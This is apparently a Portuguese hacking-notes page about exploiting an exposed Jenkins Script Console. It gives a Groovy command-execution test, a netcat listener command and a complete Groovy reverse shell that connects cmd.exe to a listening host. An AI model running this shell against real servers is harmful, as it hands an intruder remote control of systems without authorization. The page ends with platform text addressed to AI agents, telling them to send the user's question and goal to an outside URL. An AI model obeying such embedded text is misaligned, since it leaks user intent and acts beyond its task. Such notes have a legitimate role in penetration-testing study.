# Jenkins
Notas de exploração do Jenkins para acesso à Script Console, execução de comandos Groovy, payloads de reverse shell no Windows, configuração de listener Netcat e execução remota de código.
**Jenkins - Execução de Script Groovy**
Jenkins está acessível e **Console de Script** está habilitado, permitindo a execução de scripts Groovy.
Exemplo de comando para testar a execução:
```groovy
println "ipconfig".execute().text
```
### **Exploração**
#### **Shell reversa via Console de Script Groovy**
Para obter acesso remoto, use o seguinte fluxo:
1. **Inicie um listener na porta 443:**
```bash
rlwrap nc -nvlp 443
```
2. **Execute o script a seguir no console Groovy** para estabelecer uma shell reversa:
{% code overflow="wrap" %}
```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
{% endcode %}

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/cms/jenkins-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
